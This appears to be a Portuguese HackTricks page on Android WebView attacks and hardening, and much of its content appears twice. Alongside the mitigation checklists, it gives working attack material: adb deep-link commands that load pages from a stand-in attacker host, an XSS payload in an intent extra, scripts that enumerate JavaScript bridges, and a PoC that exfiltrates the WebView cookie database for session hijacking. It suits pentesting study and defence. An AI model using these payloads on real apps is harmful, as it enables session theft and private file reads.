Ataques em WebView

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Guia sobre Configurações e Segurança do WebView

Visão geral das vulnerabilidades do WebView

Um aspecto crítico do desenvolvimento Android envolve o tratamento correto dos WebViews. Este guia destaca configurações-chave e práticas de segurança para mitigar riscos associados ao uso de WebView.

Exemplo de WebView

Acesso a arquivos em WebViews

Por padrão, os WebViews permitem acesso a arquivos. Essa funcionalidade é controlada pelo método setAllowFileAccess(), disponível desde o Android API level 3 (Cupcake 1.5). Aplicações com a permissão android.permission.READ_EXTERNAL_STORAGE podem ler arquivos do armazenamento externo usando o esquema de URL file (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Este recurso obsoleto permitia requisições cross-origin a partir de file URLs, apresentando um risco de segurança significativo devido a possíveis ataques XSS. A configuração padrão é desativada (false) para apps direcionados ao Android Jelly Bean e versões posteriores.
  • Para verificar essa configuração, use getAllowUniversalAccessFromFileURLs().
  • Para modificar essa configuração, use setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Este recurso, também obsoleto, controlava o acesso a conteúdo de outras URLs com esquema file. Assim como o universal access, seu padrão é desativado para maior segurança.
  • Use getAllowFileAccessFromFileURLs() para verificar e setAllowFileAccessFromFileURLs(boolean) para definir.

Carregamento Seguro de Arquivos

Para desabilitar o acesso ao sistema de arquivos enquanto ainda acessa assets e recursos, usa-se o método setAllowFileAccess(). No Android R e acima, a configuração padrão é false.

  • Verifique com getAllowFileAccess().
  • Ative ou desative com setAllowFileAccess(boolean).

WebViewAssetLoader

A classe WebViewAssetLoader é a abordagem moderna para carregar arquivos locais. Ela usa URLs http(s) para acessar assets e recursos locais, alinhando-se com a política de mesma origem, facilitando assim o gerenciamento de CORS.

loadUrl

Esta é uma função comum usada para carregar URLs arbitrárias em um WebView:

webview.loadUrl("<url here>")

Obviamente, um atacante em potencial nunca deve ser capaz de controlar a URL que um aplicativo vai carregar.

Manipulação de JavaScript e Intent Scheme

  • JavaScript: Desativado por padrão em WebViews, pode ser ativado via setJavaScriptEnabled(). Deve-se ter cautela, pois habilitar JavaScript sem proteções adequadas pode introduzir vulnerabilidades de segurança.
  • Intent Scheme: WebViews podem manipular o esquema intent, potencialmente levando a exploits se não for gerenciado com cuidado. Um exemplo de vulnerabilidade envolveu um parâmetro de WebView exposto “support_url” que podia ser explorado para executar cross-site scripting (XSS) attacks.

Vulnerable WebView

Exemplo de exploração usando adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Ponte JavaScript

O Android fornece um recurso que permite que o JavaScript em um WebView invoque funções nativas do aplicativo Android. Isso é realizado utilizando o método addJavascriptInterface, que integra o JavaScript com funcionalidades nativas do Android, denominado WebView JavaScript bridge. Recomenda-se cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto JavaScript Interface registrado, representando um risco de segurança se informações sensíveis forem expostas por essas interfaces.

  • É necessária extrema cautela para apps direcionados a versões do Android inferiores a 4.2 devido a uma vulnerabilidade que permite execução remota de código por meio de JavaScript malicioso, explorando reflection.

Implementando uma Ponte JavaScript

  • Interfaces JavaScript podem interagir com código nativo, como mostrado nos exemplos onde um método de classe é exposto para o JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge é ativado adicionando uma interface ao WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencial exploração por meio de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Para mitigar riscos, restrinja o uso da ponte JavaScript ao código enviado com o APK e evite carregar JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo da API para 17.

Reflection-based Remote Code Execution (RCE)

  • Um método documentado permite alcançar RCE através de reflection executando um payload específico. Entretanto, a anotação @JavascriptInterface impede o acesso não autorizado a métodos, limitando a superfície de ataque.

Remote Debugging

  • Remote debugging é possível com Chrome Developer Tools, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.

Habilitando Remote Debugging

  • Remote debugging pode ser habilitado para todas as WebViews dentro de uma aplicação por:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Para habilitar condicionalmente a depuração com base no estado debuggable do aplicativo:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrar arquivos arbitrários

  • Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Ataques ao WebView

Guia de Configurações e Segurança do WebView

Visão geral das vulnerabilidades do WebView

Um aspecto crítico do desenvolvimento Android envolve o manuseio correto dos WebViews. Este guia destaca configurações-chave e práticas de segurança para mitigar riscos associados ao uso do WebView.

Exemplo de WebView

Acesso a Arquivos em WebViews

Por padrão, os WebViews permitem acesso a arquivos. Essa funcionalidade é controlada pelo método setAllowFileAccess(), disponível desde o Android API level 3 (Cupcake 1.5). Aplicações com a permissão android.permission.READ_EXTERNAL_STORAGE podem ler arquivos do armazenamento externo usando o esquema de URL de arquivo (file://path/to/file).

Recursos obsoletos: Universal and File Access From URLs

  • Universal Access From File URLs: Esse recurso obsoleto permitia requisições cross-origin a partir de URLs de arquivo, representando um risco significativo de segurança devido a potenciais ataques XSS. A configuração padrão está desabilitada (false) para apps com target em Android Jelly Bean ou superior.
  • Para verificar essa configuração, use getAllowUniversalAccessFromFileURLs().
  • Para modificar essa configuração, use setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Esse recurso, também obsoleto, controlava o acesso a conteúdo proveniente de outras URLs com o esquema file. Assim como o acesso universal, seu padrão é desabilitado para maior segurança.
  • Use getAllowFileAccessFromFileURLs() para verificar e setAllowFileAccessFromFileURLs(boolean) para configurar.

Carregamento de Arquivos Seguro

Para desabilitar o acesso ao sistema de arquivos enquanto ainda acessa assets e recursos, utiliza-se o método setAllowFileAccess(). No Android R e posteriores, a configuração padrão é false.

  • Verifique com getAllowFileAccess().
  • Habilite ou desabilite com setAllowFileAccess(boolean).

WebViewAssetLoader

A classe WebViewAssetLoader é a abordagem moderna para carregar arquivos locais. Ela utiliza URLs http(s) para acessar assets e recursos locais, alinhando-se à política Same-Origin e facilitando o gerenciamento de CORS.

loadUrl

This is a common function used to load arbitrary URLs in a WebView:

webview.loadUrl("<url here>")

Obviamente, um potencial atacante nunca deveria ser capaz de controlar a URL que uma aplicação vai carregar.

Deep-linking em WebView interno (custom scheme → WebView sink)

Muitos apps registram custom schemes/paths que encaminham uma URL fornecida pelo usuário para um WebView embutido no app. Se o deep link estiver exportado (VIEW + BROWSABLE), um atacante pode forçar o app a renderizar conteúdo remoto arbitrário dentro do contexto do seu WebView.

Padrão típico de manifest (simplificado):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Fluxo de código comum (simplificado):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Padrão de ataque e PoC via adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impacto: a página remota é executada no contexto do WebView do app (cookies/sessão do perfil do WebView do app, acesso a qualquer @JavascriptInterface exposto, acesso potencial a content:// e file:// dependendo das configurações).

Hunting tips:

  • Grep fontes descompiladas em busca de getQueryParameter("url"), loadUrl(, sinks do WebView e handlers de deep-link (onCreate/onNewIntent).
  • Revise o manifest em busca de filtros VIEW+BROWSABLE e schemes/hosts personalizados que mapeiem para activities que depois iniciam um WebView.
  • Verifique se existem múltiplos caminhos de deep-link (ex.: um caminho “external browser” vs. um caminho “internal WebView”) e prefira aquele que renderiza dentro do app.

Habilitar JavaScript antes da verificação (order-of-checks bug)

Um erro frequente de hardening é habilitar JavaScript ou configurar definições relaxadas do WebView antes da allowlist/verificação final da URL alvo ser concluída. Se a verificação for inconsistente entre helpers ou acontecer tarde demais, um deep link atacante pode alcançar um estado onde:

  1. As configurações do WebView são aplicadas (ex.: setJavaScriptEnabled(true)), e
  2. A URL não confiável é carregada com JavaScript habilitado.

Padrão de bug (pseudocódigo):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Por que é explorável

  • Normalização inconsistente: helpers dividem/reconstroem a URL de forma diferente da verificação final, criando divergências que uma URL maliciosa pode explorar.
  • Pipeline com ordem incorreta: habilitar JS na etapa 2 aplica-se globalmente à instância do WebView, afetando o carregamento final mesmo que a verificação venha a falhar depois.

Como testar

  • Crie payloads de deep-link que passem por verificações iniciais e alcancem o site de configuração do WebView.
  • Use o adb para disparar intents implícitos VIEW que entreguem um parâmetro url= controlado por você:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Se a exploitation for bem-sucedida, seu payload executa JavaScript no WebView do app. A partir daí, verifique por bridges expostas:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Orientações defensivas

  • Canonicalizar uma vez; validar estritamente contra uma única fonte de verdade (scheme/host/path/query).
  • Chame setJavaScriptEnabled(true) somente depois que todas as verificações de allowlist forem aprovadas e imediatamente antes de carregar conteúdo confiável.
  • Evite expor @JavascriptInterface a origens não confiáveis; prefira controle por origem.
  • Considere instâncias por WebView separadas para conteúdo confiável vs não confiável, com JS desativado por padrão.

Tratamento de JavaScript e Intent Scheme

  • JavaScript: Desativado por padrão em WebViews, pode ser ativado via setJavaScriptEnabled(). Recomenda-se cautela, pois ativar JavaScript sem salvaguardas adequadas pode introduzir vulnerabilidades de segurança.
  • Intent Scheme: WebViews podem processar o esquema intent, potencialmente levando a explorações se não for gerenciado com cuidado. Um exemplo de vulnerabilidade envolveu um parâmetro exposto de WebView “support_url” que poderia ser explorado para executar cross-site scripting (XSS) attacks.

WebView vulnerável

Exemplo de exploração usando adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Ponte Javascript

Uma funcionalidade fornecida pelo Android permite que o JavaScript em um WebView invoque funções nativas do app Android. Isso é alcançado utilizando o método addJavascriptInterface, que integra o JavaScript com funcionalidades nativas do Android, denominado WebView JavaScript bridge. Recomenda-se cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto da JavaScript Interface registrado, representando um risco de segurança se informações sensíveis forem expostas por essas interfaces.

  • É necessária extrema cautela em apps que têm como alvo versões do Android anteriores à 4.2 devido a uma vulnerabilidade que permite execução remota de código através de JavaScript malicioso, explorando reflection.

Implementando uma JavaScript Bridge

  • JavaScript interfaces podem interagir com código nativo, como mostrado nos exemplos onde um método de classe é exposto ao JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge é habilitado adicionando uma interface ao WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencial exploração através de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Para mitigar riscos, restrict JavaScript bridge usage ao código entregue com o APK e evite carregar JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo de API para 17.

Abusando de dispatcher-style JS bridges (invokeMethod/handlerName)

Um padrão comum é um único método exportado (por exemplo, @JavascriptInterface void invokeMethod(String json)) que desserializa JSON controlado pelo atacante em um objeto genérico e encaminha com base no nome do handler fornecido. Formato JSON típico:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risco: se algum handler registrado realizar ações privilegiadas sobre dados do atacante (por exemplo, leituras diretas de arquivos), você pode chamá-lo definindo handlerName adequadamente. Os resultados geralmente são postados de volta no contexto da página via evaluateJavascript e um mecanismo de callback/promise indexado por callbackId.

Principais passos de busca

  • Decompile e faça grep por addJavascriptInterface( para descobrir o nome do objeto bridge (por exemplo, xbridge).
  • No Chrome DevTools (chrome://inspect), digite o nome do objeto bridge no Console (por exemplo, xbridge) para enumerar campos/métodos expostos; procure por um dispatcher genérico como invokeMethod.
  • Enumere handlers procurando classes que implementem getModuleName() ou mapas de registro.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

Se um handler recebe uma URI, chama Uri.parse(req.getUri()).getPath(), cria new File(...) e lê sem allowlists ou verificações de sandbox, você obtém um arbitrary file read no sandbox do app que contorna configurações do WebView como setAllowFileAccess(false) (a leitura acontece em código nativo, não via a pilha de rede do WebView).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notas

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Dicas de detecção

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

Contornando mecanismos de privilégio do WebView – endsWith() host checks

Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Lógica equivalente (Leis de De Morgan):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Isto não é uma verificação de origem. Muitos hosts não intencionados satisfazem a segunda cláusula, permitindo que domínios não confiáveis entrem na Activity privilegiada. Sempre verifique scheme e host contra uma allowlist estrita (correspondência exata ou uma verificação correta de subdomínio com limites por ponto), não truques com endsWith.

javascript:// primitiva de execução via loadUrl

Uma vez dentro de um WebView privilegiado, apps às vezes executam JS inline via:

webView.loadUrl("javascript:" + jsPayload);

Se um fluxo interno aciona loadUrl("javascript:...") nesse contexto, o JS injetado é executado com acesso ao bridge mesmo se a página externa normalmente não fosse permitida. Pentest steps:

  • Grep for loadUrl("javascript: and evaluateJavascript( in the app.
  • Tente alcançar esses caminhos de código depois de forçar a navegação para o WebView privilegiado (p.ex., via um permissive deep link chooser).
  • Use the primitive to call the dispatcher (xbridge.invokeMethod(...)) and reach sensitive handlers.

Mitigações (checklist para desenvolvedores)

  • Verificação estrita de origem para Activities privilegiadas: canonicalize e compare scheme/host contra uma allowlist explícita; evite checagens baseadas em endsWith. Considere Digital Asset Links quando aplicável.
  • Limite bridges apenas a páginas confiáveis e revalide a confiança a cada chamada (autorização por chamada).
  • Remova ou proteja rigidamente handlers com acesso ao filesystem; prefira content:// com allowlists/permissions em vez de paths file:// brutos.
  • Evite loadUrl("javascript:") em contextos privilegiados ou coloque-o atrás de verificações fortes.
  • Lembre-se que setAllowFileAccess(false) não protege contra leituras nativas de arquivos via bridge.

JSB enumeration and debugging tips

  • Habilite WebView remote debugging para usar o Console do Chrome DevTools:
  • App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • System-side: módulos como LSPosed ou scripts Frida podem forçar a ativação do debugging mesmo em release builds. Exemplo de snippet Frida para Cordova WebViews: cordova enable webview debugging
  • No DevTools, digite o nome do objeto do bridge (p.ex., xbridge) para ver membros expostos e sondar o dispatcher.

Reflection-based Remote Code Execution (RCE)

  • Um método documentado permite alcançar RCE via reflection executando um payload específico. No entanto, a annotation @JavascriptInterface impede acesso não autorizado a métodos, limitando a superfície de ataque.

Remote Debugging

  • Depuração remota é possível com Chrome Developer Tools, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.

Enabling Remote Debugging

  • Remote debugging pode ser habilitado para todos os WebViews dentro de uma aplicação por:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Para habilitar condicionalmente o debugging com base no estado debuggable do aplicativo:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arquivos arbitrários

  • Demonstra a exfiltration de arquivos arbitrários usando um XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Uma vulnerabilidade frequente é ler dados controlados por um atacante de um Intent extra recebido e injetá-los diretamente em um WebView via loadData() com JavaScript habilitado.

Padrão vulnerável (Activity exportada lê o extra e o renderiza como HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Se essa Activity estiver exportada (ou acessível através de um proxy exportado), um app malicioso pode fornecer HTML/JS no extra data para causar XSS refletido:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impacto

  • JS arbitrário no contexto WebView do aplicativo: enumerar/utilizar bridges @JavascriptInterface, acessar cookies/local storage do WebView, pivotar para file:// ou content:// dependendo das configurações.

Mitigações

  • Trate todas as entradas derivadas de Intent como não confiáveis. Escape (Html.escapeHtml) ou rejeite HTML; prefira renderizar texto não confiável como texto, não como HTML.
  • Mantenha JavaScript desabilitado, a menos que seja estritamente necessário; não habilite WebChromeClient para conteúdo não confiável.
  • Se precisar renderizar HTML templado, use loadDataWithBaseURL() com uma base segura e CSP; separe WebViews confiáveis/não confiáveis.
  • Evite expor a Activity externamente ou proteja-a com permissões quando não for necessário.

Relacionado

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks